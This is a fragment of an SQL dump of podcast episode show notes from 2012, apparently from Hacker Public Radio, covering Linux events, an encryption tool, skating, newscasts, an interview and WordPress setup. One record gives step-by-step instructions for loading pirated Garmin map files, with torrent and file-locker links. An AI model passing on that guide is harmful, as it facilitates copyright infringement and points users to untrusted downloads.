href=\"https://linuxfestnorthwest.org/\">https://linuxfestnorthwest.org/</a></td>\r\n  <td>David Whitman (davidglennwhitman@gmail.com)</td>\r\n</tr>\r\n<tr>\r\n  <td>2012-09-28..30</td><!-- when -->\r\n  <td>Ohio LinuxFest 2012</td><!-- what -->\r\n  <td><a href=\"https://ohiolinux.org/node/186\">https://ohiolinux.org/node/186</a> (Call for talks)</td><!-- where -->\r\n  <td></td><!-- who -->\r\n</tr>\r\n\r\n\r\n\r\n<tr>\r\n  <td></td><!-- when -->\r\n  <td></td><!-- what -->\r\n  <td></td><!-- where -->\r\n  <td></td><!-- who -->\r\n</tr>\r\n   \r\n</tbody>\r\n</table>\r\n\r\n</p>\r\n\r\n<p>\r\n<iframe width=\"420\" height=\"315\" src=\"https://www.youtube.com/embed/RvqBspg8DZc\" frameborder=\"0\" allowfullscreen></iframe>\r\n<br />\r\nSailor 1: That new wife of your\'s isn\'t there Derik<br />\r\nSailor 2: We\'re back at the same time that the Milk man is doing his rounds<br />\r\nAnna: Derik !!!<br />\r\nDerik: Anna !!!<br />\r\n<strong>Those Fisherman\'s Friends are strong, hey !</strong>\r\n</p>\r\n',159,47,1,'CC-BY-SA','Community News',0,2184,1),
(917,'2012-02-06','Uber Leet Hacker Force Radio 6',1007,'Uber Leet Hacker Force Radio issue 6','In a welcome return to HPR, SigFLUP talks to us about two of her projects:\r\n<h2>concr</h2>\r\n<p>\r\nconcr is an encryption framework for use to partially encrypt configuration files, or any file for that matter. concr is for use in UNIX systems and consist of two parts, libconcr and confcrypt. libconcr is an API for reading partially encrypted files and generating keys. confcrypt is a user-application for encrypting files using keyfile database or manually specified keys.\r\n</p>\r\n<p>\r\nconcr leverages the own-by-root aspect of programs in UNIX systems and stores its decryption key inside of the application. Applications that use libconcr must be installed with execute-only permissions.\r\n</p>\r\n<p>\r\n\r\nWhen an application is linked with and makes use of concr it, when run for the first time, will generate a copy of itself containing a private rsa-key and output a public rsa-key. confcrypt is a user program that encrypts messages to be decrypted by second runs of the application. concr provides an api similar to that of libc for reading in files thus making it transparent to the application developer what is and is not encrypted in those files.\r\n</p>\r\n<p>\r\n<a href=\"https://devio.us/~sigflup/concr\">https://devio.us/~sigflup/concr</a>\r\n</p>\r\n<h2>yesplz</h2>\r\n<p>\r\nyesplz is a screeenshot uploader command line utility written by sigFLUP that will take a screenshot, tag\r\nyour photo, log into unixporn.com, post the picture to your photo album, and return an ascii bunny on success.\r\n</p>\r\n<p>\r\nIn order for it to work, you must have an account at unixporn.com but that is free and you can enter nothing but fake information into it.\r\n</p>\r\n<p>\r\nThen simply run yesplz --help to see the possible tags and instructions for yesplz.\r\n</p>\r\n<p>\r\n<a href=\"https://devio.us/~sigflup/yesplz_dec_19_2011.tgz\">yesplz: https://devio.us/~sigflup/yesplz_dec_19_2011.tgz</a>\r\n</p>\r\n',115,87,1,'CC-BY-SA','concr,yesplz',0,2334,1),
(918,'2012-02-07','How I Started with Linux Part 2',932,'Frank Bell continues the story of his journey to Linux','In his long waited second part Frank continues his Linux story, describing how he used Linux to self-host his website from his guest room and some of the things he learned along the way.  Some links mentioned in the show:\r\n<br />\r\n<a href=\"https://www.slackware.com\">Slackware</a> (https://www.slackware.com)<br />\r\n<a href=\"https://www.debian.org\">Debian</a> (https://www.debian.org)<br />\r\n<a href=\"https://www.samba.org/samba/docs/man/Samba-Guide/\">Samba by Example</a> (https://www.samba.org/samba/docs/man/Samba-Guide/)<br />\r\n<a href=\"https://wiki.linuxquestions.org/wiki/Slackware-FAQ\">The Slackware Wiki</a> (https://wiki.linuxquestions.org/wiki/Slackware-FAQ)<br />\r\n<a href=\"https://www.linuxquestions.org/\">Linux Questions</a> Linux Forums (https://www.linuxquestions.org/)<br />\r\n<a href=\"https://www.no-ip.com/\">no-ip dot com</a> dynamic DNS service (https://www.no-ip.com/)<br />',195,29,1,'CC-BY-SA','linux,slackware,debian,samba,dns',0,2347,1),
(919,'2012-02-08','Elfstedentocht - To be or not to be',901,'A 200 kilometre skating tour in the province of Friesland in the north of the Netherlands','<p>\r\nIn today\'s show Ken interviews Klaas-Jan Koopman about the Elfstedentocht a particularly Dutch phenomenon. He gives us some background to the tour and tells the story of his Father who has a permit to participate should it go ahead.<br />\r\n<img src=\"https://upload.wikimedia.org/wikipedia/commons/5/5a/Elfstedentocht-Plaatsnamen.png\" alt=\"Elfstedentocht Place Names\" />\r\n</p>\r\n<hr/>\r\n<p>\r\n<strong>This interview was recorded yesterday and since then the organisation committee have said that the tour will not be going ahead this weekend as the ice is not thick enough. We can all wait and see together if it happens or not.</strong><br />\r\n<a href=\"https://www.dutchnews.nl/news/archives/2012/02/poor_ice_growth_on_tuesday_nig.php\">https://www.dutchnews.nl/news/archives/2012/02/poor_ice_growth_on_tuesday_nig.php</a>\r\n</p>\r\n<hr/>\r\n<a href=\"https://en.wikipedia.org/wiki/Elfstedentocht\">https://en.wikipedia.org/wiki/Elfstedentocht</a>\r\n<h2>Elfstedentocht</h2>\r\n<p>\r\n<em>From Wikipedia, the free encyclopedia</em>\r\n</p>\r\n<p>\r\nThe Elfstedentocht (or, in West Frisian, Alvestêdetocht, sometimes in English : Eleven Cities Tour), at almost 200 km, is the world\'s largest speed skating competition and leisure skating tour, and is held in the province of Friesland, Netherlands only when the ice along the entire course is 15 cm thick.\r\n</p>\r\n<p>\r\nThe tour, almost 200 km in length, is conducted on frozen canals, rivers and lakes between the eleven historic Frisian cities: Leeuwarden, Sneek, IJlst, Sloten, Stavoren, Hindeloopen, Workum, Bolsward, Harlingen, Franeker, Dokkum then returning to Leeuwarden. The tour is not held every year, mostly because not every Dutch winter permits skating on natural ice. The last editions were in 1985, 1986 and 1997. Adding to that, the tour currently features about 15,000 amateur skaters taking part, putting high requirements on the quality of the ice. There is a stated regulatory requirement for the race to take place that the ice must be (and remain at) a minimum thickness of 15 centimetres along the entirety of the course. All skaters must be a member of the Association of the Eleven Frisian Cities. A starting permit is required. Further more, in each city the skater must collect a stamp, as well as a stamp from the three secret check points. The skater must finish before midnight.\r\n</p>\r\n',30,0,1,'CC-BY-SA','Interview,Netherlands,Friesland,skating',0,2031,1),
(920,'2012-02-09','TGTM Newscast for 2012/02/08',1969,'A newscast from Talk Geek to Me','<h2>TGTM Newscast for 2012/02/08 DeepGeek</h2>\r\n<p>We have had alot happen in the world since the last newscast, so\r\nlet\'s jump right in! We\'re also rich in audio interludes, so I will be\r\ninserting them almost between the non-tech news stories.\r\n</p>\r\n<p>Here is a news review:</p>\r\n<ul>\r\n  <li><a href=\"https://wlcentral.org/node/2432\">Calls for Julian Assange to be tried as terrorist under NDAA-like law in 2010</a></li>\r\n  <li>This story is important because there was a movement to have multiple political parties in Cuba. <a href=\"https://www.havanatimes.org/?p=60933\">Cuba Keeps One Party, Sets Term Limits </a></li>\r\n  <li>\r\n<p>Let\'s start a segment of three stories regarding United States of America politics. First, a story about the struggle against the \"Electoral College\" system of voting, which is a key method this country uses to suppress anything besides to two dominant fascist (in the technical sense of being a marriage between corporations and government) parties. We will see how the state of Washington is fighting that system. After this, a story about the fight for decent medical care for the country within the state of California. Lastly, an editorial written by one of the co-chairs of the Socialist Party USA about Ron Paul.\r\n</p>\r\n<p>It should be noted that I am not yet \"endorsing\" the  Socialist Party USA, merely covering their point of view which the corporate media ignores in order to keep them out of the minds of the people of the USA. That\'s the point of TGTM news, to report the stories they suppress. The Green Party USA is very interesting also.</p>\r\n<p>Jill Stein is fighting for candidacy for President with them, and she recently issued her own \"Peoples State of the Union (which I will link to in the \"other headlines\" section)\" right after Obama\'s State of the Union. While Obama\'s State Of The Union was very Ronald Regan, you know, with it\'s tough-guy statements about forcing other countries to respect us via Military Force and it\'s \"trickle down economics\" statements about boosting the economy by giving even more handouts to mega-corporations; Jill Stein\'s message was about \"the Green New Deal,\" about stimulating the economy with direct-to-locality  stimulus. As matter of fact, she held a video chat direct to the people who got to ask her questions via chat room. Remembering that a union I regularly cover, the IWW, encourages it\'s members to work via worker co-operatives, I asked if co-ops would be locked out of the \"Green New Deal.\" Ms. Stein answered my question by stating that co-operatives were valid recipients of contracts, and that the point was that, historically, big corporations pocket too much for their owners, so she only wanted to lock out the Interstate and large corporations to aid small business units.</p>\r\n<p>Jill Stein is currently running against Roseanne Barr for the candidacy for presidency in the Green Party USA.</p>\r\n\r\n<a href=\"https://www.allgov.com//ViewNews/Court_Approves_Washington_State_System_of_Limiting_November_Ballot_Access_to_Two_Candidates_120122\">Court Approves Washington State System of Limiting November Ballot Access to Two Candidates</a>\r\n</li>\r\n  <li><a href=\"https://peoplesworld.org/california-s-single-payer-health-bill-moves-forward/\">California\'s single-payer health bill moves forward</a></li>\r\n  <li><a href=\"https://dissidentvoice.org/2012/01/the-misadventure-of-ron-paul/\">The Misadventure of Ron Paul</a></li>\r\n  <li><a href=\"https://www.eff.org/press/releases/aclu-eff-appeal-secrecy-ruling-twitterwikileaks-case\">ACLU &amp; EFF to Appeal Secrecy Ruling in Twitter/WikiLeaks Case</a>Editorial Comment: After the ruling the Icelandic Member-of-Parliment, Ms. Birgitta Jonsdottir, \"broke silence\" on the matter of this case. So I included, in the \"other headlines\" section, links to her blog entry about it, as well as a link to a Radio Netherlands International english podcast that includes an interview with her.</li>\r\n  <li><a href=\"https://www.eff.org/deeplinks/2012/01/right-anonymity-matter-privacy\">The Right to Anonymity is a Matter of Privacy</a></li>\r\n  <li><a href=\"https://torrentfreak.com/megaupload-what-made-it-a-rogue-site-worthy-of-destruction-120120/\">MegaUpload: What Made It a Rogue Site Worthy of Destruction?</a></li>\r\n  <li><a href=\"https://torrentfreak.com/mega-aftermath-upheaval-in-pirate-warez-land-120128/\">Mega Aftermath: Upheaval In Pirate Warez Land</a></li>\r\n  <li><a href=\"https://venezuelanalysis.com/news/6772\">New Venezuelan Social Network Takes Off</a></li>\r\n</ul>\r\n<p>Other Headlines:</p>\r\n<ul>\r\n  <li><a href=\"https://www.web.gpnys.com/?p=11479\">People\'s State of the Union: A Green New Deal for America</a></li>\r\n  <li><a href=\"https://arstechnica.com/tech-policy/news/2012/01/supreme-court-rules-congress-can-re-copyright-public-domain-works.ars\">Supreme Court rules Congress can re-copyright public domain works</a></li>\r\n  <li><a href=\"https://joyb.blogspot.com/2011/03/my-twitter-case-and-thoughtcrime.html\">MY TWITTER CASE AND \"THOUGHTCRIME\" </a></li>\r\n  <li><a href=\"https://www.rnw.nl/english/radioshow/freedoms-road\">The State We\'re In - Freedom\'s Road</a></li>\r\n  <li><a href=\"https://bigbatusa.org/david-swanson-27-of-35-bush-articles-of-impeachment-apply-to-obama/\">27 of 35 Bush Articles of Impeachment Apply to Obama</a></li>\r\n</ul>\r\n<p>News from \"havanatimes.org, \" \"allgov.com,\" and \"dissidentvoice.org\" \"used under arranged permission. News from \"eff.org\"  and \"torrentfreak.com\" used\r\nunder permission of the Creative Commons by-attribution license. News from \"wlcentral.org\" and \"peoplesworld.org\" used under permission of the Creative\r\nCommons by-attribution non-commercial no-derivatives license. News from \"venezuelanalysis.com\" is copyleft.<br />\r\n</p>\r\n<p>Audio Interlude, MOC #112, used under permission of Lee Camp.<br/>\r\n</p>\r\n<p>News Sources retain their respective copyrights.</p>\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.havanatimes.org/?p=60933\">https://www.havanatimes.org/?p=60933</a>\r\n</li>\r\n<li><a href=\"https://www.allgov.com//ViewNews/Court_Approves_Washington_State_System_of_Limiting_November_Ballot_Access_to_Two_Candidates_120122\">https://www.allgov.com//ViewNews/Court_Approves_Washington_State_System_of_Limiting_November_Ballot_Access_to_Two_Candidates_120122</a>\r\n</li>\r\n<li><a href=\"https://peoplesworld.org/california-s-single-payer-health-bill-moves-forward/\">https://peoplesworld.org/california-s-single-payer-health-bill-moves-forward/</a>\r\n</li>\r\n<li><a href=\"https://dissidentvoice.org/2012/01/the-misadventure-of-ron-paul/\">https://dissidentvoice.org/2012/01/the-misadventure-of-ron-paul/</a>\r\n</li>\r\n<li><a href=\"https://www.eff.org/press/releases/aclu-eff-appeal-secrecy-ruling-twitterwikileaks-case\">https://www.eff.org/press/releases/aclu-eff-appeal-secrecy-ruling-twitterwikileaks-case</a>\r\n</li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/01/right-anonymity-matter-privacy\">https://www.eff.org/deeplinks/2012/01/right-anonymity-matter-privacy</a>\r\n</li>\r\n<li><a href=\"https://torrentfreak.com/megaupload-what-made-it-a-rogue-site-worthy-of-destruction-120120/\">https://torrentfreak.com/megaupload-what-made-it-a-rogue-site-worthy-of-destruction-120120/</a>\r\n</li>\r\n<li><a href=\"https://torrentfreak.com/mega-aftermath-upheaval-in-pirate-warez-land-120128/\">https://torrentfreak.com/mega-aftermath-upheaval-in-pirate-warez-land-120128/</a>\r\n</li>\r\n<li><a href=\"https://venezuelanalysis.com/news/6772\">https://venezuelanalysis.com/news/6772</a>\r\n</li>\r\n<li><a href=\"https://www.web.gpnys.com/?p=11479\">https://www.web.gpnys.com/?p=11479</a>\r\n</li>\r\n<li><a href=\"https://arstechnica.com/tech-policy/news/2012/01/supreme-court-rules-congress-can-re-copyright-public-domain-works.ars\">https://arstechnica.com/tech-policy/news/2012/01/supreme-court-rules-congress-can-re-copyright-public-domain-works.ars</a>\r\n</li>\r\n<li><a href=\"https://joyb.blogspot.com/2011/03/my-twitter-case-and-thoughtcrime.html\">https://joyb.blogspot.com/2011/03/my-twitter-case-and-thoughtcrime.html</a>\r\n</li>\r\n<li><a href=\"https://www.rnw.nl/english/radioshow/freedoms-road\">https://www.rnw.nl/english/radioshow/freedoms-road</a>\r\n</li>\r\n<li><a href=\"https://bigbatusa.org/david-swanson-27-of-35-bush-articles-of-impeachment-apply-to-obama/\">https://bigbatusa.org/david-swanson-27-of-35-bush-articles-of-impeachment-apply-to-obama/</a>\r\n</li>\r\n</ul>\r\n',237,65,1,'CC-BY-SA','newscast,TGTM',0,2192,1),
(921,'2012-02-10','Tag Team Chase Douglas Interview with Alison Chaiken',2739,'Markoz and Alison Chaiken interview Chase Douglas of Canonical','Chase Douglas is a software developer at Canonical working primarily on multitouch user interface support. For the past year, Chase has been involved with developing gesture support through Canonical’s uTouch framework and multitouch support through the X.org window system. Prior to working on multitouch, Chase spent three years performing Linux kernel and plumbing layer development and maintenance at Canonical and IBM.<br/>\r\n<br/>\r\nAlison\'s questions:\r\n3:49 -  Alison asks \"Chase, back up for a  moment, can you talk a little bit about what X input is and how X in general works in Linux.\"<br/>\r\n<br/>\r\n6:13 - Alison asks \"Do you have any particular target hardware that you are thinking about during its development?\"<br/>\r\n<br/>\r\n11:57 - Alison asks \"Do we expect the mouse and keyboard to be with us in the long term? Are you really thinking of all these touches used in concert with the mouse and keyboard or that we may be evolving away from that?\"<br/>\r\n<br/>\r\n17:45 - Alison basically asks \"Is there talk about an agreed upon gesture language?\"<br/>\r\n<br/>\r\n20:56 - Alison asks \"What is the state of device driver support for capacitive screens that will support multitouch in Linux?\"<br/>\r\n<br/>\r\n26:34 - Alison asks \"Speaking of software coupling, are you looking at Wayland already or is that still over the horizon?\"<br/>\r\n<br/>\r\n28:43 - Alison says \"The automotive case seems like a fascinating one. As far as touch and gesture goes and Ubuntu has an IDI and recently Cadillac has a multitouch screen that has haptic feedback and some gesture support.  This looks like a very exciting area for development. Actual shipping products in 2012.  I don\'t know if you\'re familiar with that at all.\"<br/>\r\n<br/>\r\n32:11 - Alison asks \"Do you anticipate contributing the multitouch work to GNOME and Debian as well?<br/>\r\n<br/>\r\n35:0 - Alison asks \"What new features can we anticipate that will be user visible for precision in the area of multitouch and gestures?\"<br/>\r\n<br/>\r\n43:56 - Alison says \"I think I\'m happy although I must mention I was pained to hear that it was 24 years ago that you were an infant because I was at M.I.T when they started the X project.  heh heh.  you young whippersnappers.<br/>\r\n...<br/>\r\nthat was very fascinating.  I had no idea there was that much activity going on. I\'m really excited to see what\'s coming out and what new features are being added.\"<br/>\r\n<br/><br/>\r\nlaunchpad.net/utouch<br/>\r\nmulti-touch-dev@lists.launchpad.net<br/>\r\n\r\n#ubuntu-touch   irc.freenode.net<br/>\r\n',156,78,1,'CC-BY-SA','multitouch,uTouch,Canonical,Wayland',0,2224,1),
(922,'2012-02-13','Updating a Garmin GPS for free',389,'Installing a 2012 North American map on a Garmin','<p><strong>Notice</strong> **I am not condoning this method I am just reporting that I have read on numerous sites the steps and procedures on how to do this.****</p><strong>Sources:</strong><ul>\n  <li><a href=\"https://www.haklabs.com/2011/garmin-2012-map-update/\">https://www.haklabs.com/2011/garmin-2012-map-update/</a></li>\n  <li><a href=\"https://www.youtube.com/watch?v=DBlS0fzWjbY\">https://www.youtube.com/watch?v=DBlS0fzWjbY</a></li>\n  <li><a href=\"https://thepiratebay.org/torrent/6536173/Garmin_City_Navigator_North_America_NT_2012.10_IMG\">https://thepiratebay.org/torrent/6536173/Garmin_City_Navigator_North_America_NT_2012.10_IMG</a><br />\n   <br /> Updating a Garmin GPS for free<br />\n   <br /> This is a guide that I have compiled on how to upgrade a Garmin GPS to the 2012 maps for free. First you must torrent the \"Garmin City Navigator 2012.10 torrent file, or the 2012.20 torrent file.<br />\n   <br /> 2012.10 <a href=\"https://www.megaupload.com/?d=9DAC19AT\">https://www.megaupload.com/?d=9DAC19AT</a><br />\n   <br /> 2012.20 <a href=\"https://www.multiupload.com/L4AVMTU4WA\">https://www.multiupload.com/L4AVMTU4WA</a><br />\n   <br /> Then you extract the contents of that into a folder and<br />\n  </li>\n </ul>\n <ol>\n  <li>Connect your device to the computer.</li>\n  <li>Go into the Nuvi files and backup the file named gmapprom.img to your computer.</li>\n  <li>Delete the gmapprom.img file from the device. (note: make sure you empty the recycle bin after this step)</li>\n  <li>Delete any unused Language files too..</li>\n  <li>Copy the unlocked gmapprom.img file that you downloaded into the device. If the downloaded file is named something else, rename it to gmapprom.img and then put it on your devices internal memory.</li>\n  <li>Restart your device and check your map info via : Tools&gt;Settings&gt;Map&gt;Map Info.<br />\n   <br /> There you have it! You have done it.</li>\n </ol>',94,0,1,'CC-BY-SA','garmin,gps,download',0,2993,1),
(923,'2012-02-14','12 Gazillion Buttons',2134,'Jezra and NYbill discuss various topics','<p>\r\n<a href=\"https://www.jezra.net/blog\">Jezra</a> and <a href=\"https://identi.ca/nybill\">NYbill</a> discuss their predictions for 2012 and the things they are looking forward to in the new\r\nyear.  The discussion moves on to LUG\'s.  Jezra takes Bill on a trip down memory lane. Then Bill strikes a nerve with Jez who rants about 3D movies (Language warning).  They finish up talking about their\r\ncurrent hardware and software projects.</p>\r\n\r\n<h3>Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.jezra.net/blog\">https://www.jezra.net/blog</a> Jezra</li>\r\n<li><a href=\"https://identi.ca/nybill\">https://identi.ca/nybill</a> NYbill</li>\r\n<li><a href=\"https://www.raspberrypi.org/\">https://www.raspberrypi.org/</a> Raspberry Pi</li>\r\n<li><a href=\"https://www.pjrc.com/teensy/\">https://www.pjrc.com/teensy/</a> Teensy</li>\r\n<li><a href=\"https://www.northeastlinuxfest.org/\">https://www.northeastlinuxfest.org/</a> Northeast Linux Fest</li>\r\n<li><a href=\"https://www.socallinuxexpo.org/scale10x\">https://www.socallinuxexpo.org/scale10x</a> The Southern California Linux Expo</li>\r\n<li><a href=\"https://nblug.org/\">https://nblug.org/</a> The North Bay Linux Users Group</li>\r\n<li><a href=\"https://cdlug.net/\">https://cdlug.net/</a> Capital District Linux Users Group</li>\r\n<li><a href=\"https://www.2600.com/\">https://www.2600.com/</a> 2600</li>\r\n<li><a href=\"https://2600albany.wordpress.com/\">https://2600albany.wordpress.com/</a> Albany2600</li>\r\n</ul>\r\n',205,0,1,'CC-BY-SA','Ubuntu,Unity,NELF,SCALE,Raspberry Pi,Teensy,microcontroller',0,2235,1),
(924,'2012-02-15','LiTS 000: redirection',1004,'Redirection: what it is and how to use it','Welcome to the first entry of Linux in the Shell.  Before delving into specific commands, redirection will be explored as redirection will be used frequently in the examples going forward.  The Unix philosophy posits program simplicity and that a program should do one thing and do it well (Mike Gancarz, the Unix Philosophy).  Eric Raymond adds the Rule of Composition:  \"Design programs to be connected to other programs.\"  Redirection is the glue that achieves this design.<br />\r\n<br />\r\nRedirection is applied to any of the following standard streams to achieve results beyond simply outputting some value from a single command:<br />\r\n<br />\r\nStandard Input (stdin) – 0<br />\r\nStandard Output (stdout) – 1<br />\r\nStandard Error (stderr) – 2<br />\r\n<hr />\r\nFor the rest of this article and accompanying video please go to <a href=\"https://www.linuxintheshell.com/2012/02/16/entry-000-redirection/\">https://www.linuxintheshell.com/2012/02/16/entry-000-redirection/</a><br />\r\nThe video can be downloaded <a href=\"https://www.archive.org/download/LinuxInTheShellEpisode000-Redirection/lits-000.ogv\">https://www.archive.org/download/LinuxInTheShellEpisode000-Redirection/lits-000.ogv</a>\r\n',7,67,1,'CC-BY-SA','redirection',0,2942,1),
(925,'2012-02-16','TGTM Tech News for 2012-02-15',1406,'A newscast from Talk Geek to Me','<h2>TGTM Tech News for 2012-02-15</h2>\r\n<p>\r\nShownotes are taken from <a href=\"https://www.talkgeektome.us/tgtmnews-60.html\">Show Notes for TGTM news 60</a>\r\n</p>\r\n\r\n<p>Here is a news review:</p>\r\n<ul>\r\n  <li><a href=\"https://maggiemcneill.wordpress.com/2012/02/09/one-year-later/\">One Year Later</a> (case of Florida cop Jimmy Dac Ho murdering a sex worker.)</li>\r\n  <li><a href=\"https://www.democracynow.org/2012/2/9/headlines#0\">U.S., Banks Reach $26 Billion Settlement for Mortgage Abuses</a>  </li>\r\n  <li><a href=\"https://ufcw.blogspot.com/2012/02/mitt-romney-relish-rich-ignore-poor.html\">Mitt Romney: Relish the Rich, Ignore the Poor</a>  </li>\r\n  <li><a href=\"https://www.techdirt.com/articles/20120201/00433217612/beware-those-who-claim-theyre-saving-culture-business-when-theyre-really-protecting-those-who-strip-artists-rights.shtml\">Beware Of Those Who Claim They\'re \'Saving The Culture Business\' When They\'re Really Protecting Those Who Strip Artists Of Rights</a>  </li>\r\n  <li><a href=\"https://www.havanatimes.org/?p=61712\">The Wrong Path on Cuba</a>  </li>\r\n  <li><a href=\"https://www.eff.org/deeplinks/2012/02/india%E2%80%99s-downward-spiral\">India’s Downward Spiral</a>  </li>\r\n  <li><a href=\"https://www.eff.org/deeplinks/2012/02/letters-copyright-office-why-i-jailbreak\">Letters to the Copyright Office: Why I Jailbreak</a>  </li>\r\n  <li><a href=\"https://torrentfreak.com/btjunkie-shuts-down-for-good-120206/\">BitTorrent Giant BTjunkie Shuts Down For Good</a>  </li>\r\n  <li><a href=\"https://www.techdirt.com/articles/20120208/00260717693/congress-actually-helping-internet-rather-than-mucking-it-up.shtml\">Congress Actually Helping The Internet, Rather Than Mucking It Up?</a>  </li>\r\n  <li><a href=\"https://torrentfreak.com/download-a-copy-of-the-pirate-bay-its-only-90-mb-120209/\">Download a Copy of The Pirate Bay, It’s Only 90 MB</a>\r\n  </li>\r\n</ul>\r\n<p>Other Headlines:</p>\r\n<ul>\r\n  <li><a href=\"https://sacsis.org.za/site/article/1191\">The Haditha Massacre: No Justice for Iraqis</a>  </li>\r\n  <li><a href=\"https://www.truth-out.org/how-swedes-and-norwegians-broke-power-one-percent/1327942221\">How Swedes and Norwegians Broke the Power of the \"One Percent\"</a>  </li>\r\n  <li><a href=\"https://www.rawstory.com/rs/2012/02/09/wikileaks-suspect-bradley-manning-arraignment-for-february-23/\">WikiLeaks suspect Bradley Manning arraignment for February 23</a> </li>\r\n  <li><a href=\"https://www.krmg.com/news/news/local/army-private-manning-nominated-nobel-peace-prize-r/nHYNR/\">Army Private Manning nominated for Nobel Peace Prize for role in leaking documents</a> </li>\r\n  <li><a href=\"https://sacsis.org.za/site/article/1201\">Roseanne Barr\'s Candidacy for President of America Via the Green Party</a>\r\n  </li>\r\n</ul>\r\n<p>News from \"havanatimes.org, \" \"maggiemcneill.wordpress.com, \"techdirt.com,\" and \"ufcw.blogspot.com\" used under arranged permission. News from \"eff.org\"  and \"torrentfreak.com\" used under permission of the Creative Commons by-attribution license. News from \"democracynow.org\" used under permission of the Creative Commons by-attribution non-commercial no-derivatives license.</p>\r\n<p>News Sources retain their respective copyrights.</p>\r\n\r\n<h2>Links</h2>\r\n<a href=\"https://www.talkgeektome.us/tgtmnews-60.html\">https://www.talkgeektome.us/tgtmnews-60.html</a><br />\r\n<a href=\"https://maggiemcneill.wordpress.com/2012/02/09/one-year-later/\">https://maggiemcneill.wordpress.com/2012/02/09/one-year-later/</a><br />\r\n<a href=\"https://www.democracynow.org/2012/2/9/headlines#0\">https://www.democracynow.org/2012/2/9/headlines#0</a><br />\r\n<a href=\"https://ufcw.blogspot.com/2012/02/mitt-romney-relish-rich-ignore-poor.html\">https://ufcw.blogspot.com/2012/02/mitt-romney-relish-rich-ignore-poor.html</a><br />\r\n<a href=\"https://www.techdirt.com/articles/20120201/00433217612/beware-those-who-claim-theyre-saving-culture-business-when-theyre-really-protecting-those-who-strip-artists-rights.shtml\">https://www.techdirt.com/articles/20120201/00433217612/beware-those-who-claim-theyre-saving-culture-business-when-theyre-really-protecting-those-who-strip-artists-rights.shtml</a><br />\r\n<a href=\"https://www.havanatimes.org/?p=61712\">https://www.havanatimes.org/?p=61712</a><br />\r\n<a href=\"https://www.eff.org/deeplinks/2012/02/india%E2%80%99s-downward-spiral\">https://www.eff.org/deeplinks/2012/02/india%E2%80%99s-downward-spiral</a><br />\r\n<a href=\"https://www.eff.org/deeplinks/2012/02/letters-copyright-office-why-i-jailbreak\">https://www.eff.org/deeplinks/2012/02/letters-copyright-office-why-i-jailbreak</a><br />\r\n<a href=\"https://torrentfreak.com/btjunkie-shuts-down-for-good-120206/\">https://torrentfreak.com/btjunkie-shuts-down-for-good-120206/</a><br />\r\n<a href=\"https://www.techdirt.com/articles/20120208/00260717693/congress-actually-helping-internet-rather-than-mucking-it-up.shtml\">https://www.techdirt.com/articles/20120208/00260717693/congress-actually-helping-internet-rather-than-mucking-it-up.shtml</a><br />\r\n<a href=\"https://torrentfreak.com/download-a-copy-of-the-pirate-bay-its-only-90-mb-120209/\">https://torrentfreak.com/download-a-copy-of-the-pirate-bay-its-only-90-mb-120209/</a><br />\r\n<a href=\"https://sacsis.org.za/site/article/1191\">https://sacsis.org.za/site/article/1191</a><br />\r\n<a href=\"https://www.truth-out.org/how-swedes-and-norwegians-broke-power-one-percent/1327942221\">https://www.truth-out.org/how-swedes-and-norwegians-broke-power-one-percent/1327942221</a><br />\r\n<a href=\"https://www.rawstory.com/rs/2012/02/09/wikileaks-suspect-bradley-manning-arraignment-for-february-23/\">https://www.rawstory.com/rs/2012/02/09/wikileaks-suspect-bradley-manning-arraignment-for-february-23/</a><br />\r\n<a href=\"https://www.krmg.com/news/news/local/army-private-manning-nominated-nobel-peace-prize-r/nHYNR/\">https://www.krmg.com/news/news/local/army-private-manning-nominated-nobel-peace-prize-r/nHYNR/</a><br />\r\n<a href=\"https://sacsis.org.za/site/article/1201\">https://sacsis.org.za/site/article/1201</a><br />\r\n',237,28,1,'CC-BY-SA','newscast,TGTM',0,2349,1),
(926,'2012-02-20','Heresies in the year of the apocalypse ep 1 - computer languages',1917,'Thoughts about the evolution of high-level languages from machine language','<p>Mr Gadgets calls in Apocalyptic year 2012 where he discusses Assembler, COBOL and Grace Hopper</p>\n <p>From: <strong>https://en.wikipedia.org/wiki/Grace_Hopper</strong></p>\n <p>Rear Admiral Grace Murray Hopper (December 9, 1906 – January 1, 1992) was an American computer scientist and United States Navy officer. A pioneer in the field, she was one of the first programmers of the Harvard Mark I computer, and developed the first compiler for a computer programming language. She conceptualized the idea of machine-independent programming languages, which led to the development of COBOL, one of the first modern programming languages. She is credited with popularizing the term \"debugging\" for fixing computer glitches (motivated by an actual moth removed from the computer). Because of the breadth of her accomplishments and her naval rank, she is sometimes referred to as \"Amazing Grace.\" The U.S. Navy destroyer USS Hopper (DDG-70) was named for her, as was the Cray XE6 \"Hopper\" supercomputer at NERSC.</p>',155,0,1,'CC-BY-SA','machine code,assembly language,Grace Hopper,COBOL,debugging,C,Python,Perl,Vala',0,2484,1),
(927,'2012-02-21','Setting up a WordPress blog: part 1',1420,'Episode 1 of the series <em>Setting up a Wordpress blog</em>','<p>\r\nFrank Bell summarizes the steps involved in setting up a WordPress blog.  This episode covers creating a database and database user, installing the WordPress software, and configuring basic WordPress settings.\r\n</p>\r\n\r\n<h2>Related links:</h2>\r\n\r\n<a href=\"https://wordpress.org/\">WordPress Software</a>, including the codex, themes, and plugins. (https://wordpress.org/)<br />\r\n<a href=\"https://wordpress.com/\">Wordpress blog hosting site</a> (https://wordpress.com/)<br />\r\n<a href=\"https://www.apachefriends.org/en/xampp.html\">Xampp</a> LAMPP server stack. (https://www.apachefriends.org/en/xampp.html)<br />\r\n<a href=\"https://mysql.com/\">MySQL</a> (https://mysql.com/)<br />\r\n\r\nSome other blog hosting sites:  <br />\r\n<a href=\"https://blogger.com\">Blogger</a> (https://blogger.com)<br />\r\n<a href=\"https://blogspot.com\">Blogspot</a> (https://blogspot.com)<br />\r\n<a href=\"https://www.typepad.com/\">Typepad</a> (https://www.typepad.com/)<br />\r\n<a href=\"https://www.tumblr.com/\">Tumblr</a> (https://www.tumblr.com/)<br />\r\n',195,0,1,'CC-BY-SA','WordPress,blog,MySQL',0,2227,1),
